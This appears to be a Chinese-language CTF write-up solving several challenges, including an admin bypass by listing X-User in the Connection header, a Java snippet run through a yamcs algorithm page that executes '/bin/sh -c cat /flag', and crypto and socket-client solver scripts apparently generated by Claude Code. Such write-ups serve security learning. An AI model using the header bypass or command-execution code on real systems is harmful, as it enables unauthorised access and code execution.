SecretVault

审计源代码,发现对 X-User 请求头的提取有逻辑问题,只需要传空头即可伪造成 admin 身份,获取 flag:

Payload:

GET /dashboard HTTP/1.1
Host: 47.93.103.116:39040
Connection: close,X-User
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc1ODkwNywibmJmIjoxNzYwNzU1MzA3LCJpYXQiOjE3NjA3NTUzMDcsInVpZCI6IjEifQ.SVosiGo7VXuKuRN-YkQO9EWUt_WAmG7jMAbCRPHfHMs

Personal Vault

使用 Lovelymem 工具加载镜像后,直接搜索 flag{ 字符串即可获得 flag:

Check-little

Claude Code 自行审计生成解密脚本:

from Crypto.Util.number import *  
from Crypto.Util.Padding import unpad  
from Crypto.Cipher import AES  
import gmpy2  
  
  
N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213  
c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740  
iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'  
ciphertext = bytes.fromhex('bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2')  
  
p = gmpy2.gcd(c, N)  
  
  
if 1 < p < N:  
    q = N // p  
    e = 3  
    phi = (p - 1) * (q - 1)  
    d = pow(e, -1, phi)  
    key = pow(c, d, N)  
    aes_key = long_to_bytes(key)[:16]  
  
    try:  
        cipher = AES.new(key=aes_key, iv=iv, mode=AES.MODE_CBC)  
        plaintext = cipher.decrypt(ciphertext)  
        flag = unpad(plaintext, 16).decode()  
  
        print(flag)  
  
    except Exception as e:  
        print(f"[-] AES 解密失败: {e}")

The_Interrogation_Room

Claude Code 自行审计生成解题脚本:

import sys  
import socket  
import hashlib  
import itertools  
import random  
import time  
  
HOST = "47.94.202.253"  
PORT = 24666  
TIMEOUT = 10.0  
ALNUM = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"  
  
  
def recv_until(sock, marker=b'\n', timeout=TIMEOUT):  
    sock.settimeout(timeout)  
    data = b""  
    try:  
        while True:  
            chunk = sock.recv(4096)  
            if not chunk:  
                break  
            data += chunk  
            if data.endswith(marker):  
                break  
    except socket.timeout:  
        pass  
    return data.decode(errors='ignore')  
  
  
def recvline(sock):  
    return recv_until(sock, b'\n')  
  
  
def sendline(sock, s):  
    if isinstance(s, str):  
        s = s.encode()  
    if not s.endswith(b'\n'):  
        s = s + b'\n'  
    sock.sendall(s)  
  
  
def solve_pow(line):  
    try:  
        prefix = "sha256(XXXX+"  
        a = line.index(prefix) + len(prefix)  
        b = line.index(")", a)  
        suffix = line[a:b]  
        heq = "=="  
        c = line.index(heq, b) + len(heq)  
        hexdigest = line[c:].strip()  
        hexdigest = hexdigest.split()[-1]  
    except Exception as e:  
        raise RuntimeError("Cannot parse POW line: " + repr(line)) from e  
  
    for xs in itertools.product(ALNUM, repeat=4):  
        xxxx = "".join(xs).encode()  
        candidate = hashlib.sha256(xxxx + suffix.encode()).hexdigest()  
        if candidate == hexdigest:  
            return xxxx.decode()  
    raise RuntimeError("POW not solved")  
  
  
def bracket(s):  
    return "( " + s + " )"  
  
  
def bit_expr(i):  
    return "( S{} == 1 )".format(i)  
  
  
def xor_fold(indices):  
    if len(indices) == 0:  
        return "( 0 == 1 )"  # false  
    expr = bit_expr(indices[0])  
    for j in indices[1:]:  
        right = bit_expr(j)  
        expr = "( ( " + expr + " == " + right + " ) == 0 )"  
    return expr  
  
  
def matrix_min_distance(rows):  
    minw = 17  
    for m in range(1, 1 << 8):  
        c = [0] * 17  
        for bit in range(8):  
            if (m >> bit) & 1:  
                pass  
    return None  
  
def find_good_matrix(seed=None, tries=20000):  
    rnd = random.Random(seed)  
    for attempt in range(tries):  
        A = [[rnd.randint(0, 1) for _ in range(8)] for __ in range(17)]  
        minw = 17  
        for m in range(1, 1 << 8):  
            c = []  
            for r in range(17):  
                s = 0  
                row = A[r]  
                val = 0  
                for bit in range(8):  
                    if (m >> bit) & 1:  
                        val ^= row[bit]  
                c.append(val)  
            w = sum(c)  
            if w < minw:  
                minw = w  
                if minw < 5:  
                    break  
        if minw >= 5:  
            return A  
    raise RuntimeError("Failed to find matrix with d>=5 in {} tries".format(tries))  
  
  
def encode_with_A(A, s):  
    c = []  
    for r in range(17):  
        val = 0  
        for bit in range(8):  
            if (s >> bit) & 1:  
                val ^= A[r][bit]  
        c.append(val)  
    return c  
  
  
def decode_with_y(A, y):  
    candidates = []  
    for s in range(256):  
        c = encode_with_A(A, s)  
        dist = sum(1 for i in range(17) if c[i] != y[i])  
        if dist <= 2:  
            candidates.append((s, dist))  
    candidates.sort(key=lambda x: x[1])  
    return candidates  
  
  
def run_client(host, port):  
    s = socket.create_connection((host, port), timeout=TIMEOUT)  
    try:  
        data = ""  
        for _ in range(8):  
            line = recvline(s)  
            if not line:  
                break  
            data += line  
            if "sha256(XXXX+" in line:  
                pow_line = line.strip()  
                break  
        else:  
            while True:  
                line = recvline(s)  
                if not line:  
                    break  
                data += line  
                if "sha256(XXXX+" in line:  
                    pow_line = line.strip()  
                    break  
  
        if 'pow_line' not in locals():  
            for l in data.splitlines():  
                if "sha256(XXXX+" in l:  
                    pow_line = l.strip()  
                    break  
        if 'pow_line' in locals():  
            xxxx = solve_pow(pow_line)  
            nxt = recvline(s)  
            sendline(s, xxxx)  
            resp = recvline(s)  
            if "wrong" in resp.lower():  
                raise RuntimeError("POW failed")  
        else:  
            pass  
  
        print("[*] Searching for a good A (may take a few seconds)...")  
        A = find_good_matrix(seed=int(time.time()) ^ random.getrandbits(16), tries=5000)  
        print("[*] Found good matrix A with min distance >=5")  
  
        exprs = []  
        for r in range(17):  
            idxs = [i for i, bit in enumerate(A[r]) if bit]  
            if len(idxs) == 0:  
                ex = "( 0 == 1 )"  
            elif len(idxs) == 1:  
                ex = "( S{} == 1 )".format(idxs[0])  
            else:  
                ex = xor_fold(idxs)  
            exprs.append(ex)  
  
        rounds_done = 0  
        while True:  
            line = recvline(s)  
            if not line:  
                break  
            print(line.strip())  
  
            if "Ask your question:" in line:  
                answers = []  
                for i in range(17):  
                    sendline(s, exprs[i])  
                    got = recvline(s)  
                    attempts = 0  
                    while "Prisoner's response:" not in got and attempts < 6:  
                        nxt = recvline(s)  
                        if not nxt:  
                            break  
                        got += nxt  
                        attempts += 1  
                    found = None  
                    for l in got.splitlines():  
                        if "Prisoner's response:" in l:  
                            if "True" in l:  
                                found = 1  
                            elif "False" in l:  
                                found = 0  
                            else:  
                                if "true" in l.lower():  
                                    found = 1  
                                elif "false" in l.lower():  
                                    found = 0  
                    if found is None:  
                        tok = got.strip().split()[-1]  
                        if tok.lower().startswith("true"):  
                            found = 1  
                        elif tok.lower().startswith("false"):  
                            found = 0  
                        else:  
                            found = 0  
                    answers.append(found)  
                    time.sleep(0.01)  
  
                y = answers  
                cands = decode_with_y(A, y)  
                if len(cands) == 0:  
                    print("[!] No candidate within 2 errors, aborting this round.")  
                    best = None  
                    bestd = 999  
                    for s_val in range(256):  
                        c = encode_with_A(A, s_val)  
                        d = sum(1 for i in range(17) if c[i] != y[i])  
                        if d < bestd:  
                            bestd = d  
                            best = s_val  
                    s_val = best  
                    secret_bits = [(s_val >> i) & 1 for i in range(8)]  
                else:  
                    s_val = cands[0][0]  
                    secret_bits = [(s_val >> i) & 1 for i in range(8)]  
  
                out_line = " ".join(str(int(b)) for b in secret_bits)  
                sendline(s, out_line)  
                post = recvline(s)  
                print(post.strip())  
  
                if "fell for my deception" in post or "fell for" in post:  
                    print("[!] Round failed; server rejected our revealed secrets.")  
                    return  
  
                continue  
            if "Now reveal the true secrets" in line:  
                try:  
                    secret_bits = [(s_val >> i) & 1 for i in range(8)]  
                    out_line = " ".join(str(int(b)) for b in secret_bits)  
                    sendline(s, out_line)  
                except Exception:  
                    sendline(s, "0 0 0 0 0 0 0 0")  
                post = recvline(s)  
                print(post.strip())  
                continue  
  
            if "flag" in line.lower() or "hidden location" in line.lower() or "ultimate prize" in line.lower():  
                tail = recvline(s)  
                print(tail.strip())  
                return  
  
    finally:  
        try:  
            s.close()  
        except:  
            pass  
  
  
if __name__ == "__main__":  
    run_client(HOST, PORT)

yamcs

Algorithms 模块下的 myproject/copySunsensor 页面可以执行 Java 代码:

尝试执行系统命令,在 Trace 栏中即可看到输出:

try {
    java.lang.ProcessBuilder pb = new java.lang.ProcessBuilder("/bin/sh", "-c", "cat /flag");
    pb.redirectErrorStream(true);
    java.lang.Process p = pb.start();
    java.io.InputStream ins = p.getInputStream();
    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
    
    int n;
    byte[] buf = new byte[4096];
    while ((n = ins.read(buf)) != -1) {
        baos.write(buf, 0, n);
    }

    p.waitFor();
    String output = new String(baos.toByteArray(), java.nio.charset.StandardCharsets.UTF_8);
    out0.setStringValue(output);
} catch (java.io.IOException e) {
    out0.setStringValue(e.getMessage());
} catch (java.lang.InterruptedException e) {
    java.lang.Thread.currentThread().interrupt();
    out0.setStringValue(e.getMessage());
}

谍影重重 6.0

使用 Wireshark 的 RTP 流分析提取出一段音频:

将音频文件中包含的八进制数据转换为 ASCII 字符,即为 Secret 压缩包的解压密码:

5f3eb916bf08e610aeb09f60bc955bd8

解压后得到 绝密录音.mp3 文件,录音内容为:

分析可得:

  • 时间:(廿四菊花开前,辰时正过三刻)10 月 24 日上午 8 点 45 分
  • 地点:(双里湖西岸南山茶铺)双鲤湖西岸南山茶铺
  • 背景:1949 年 10 月 24 日金门战役

按格式拼接计算哈希值即得到 flag:

flag{2a97dec80254cdb5c526376d0c683bdd}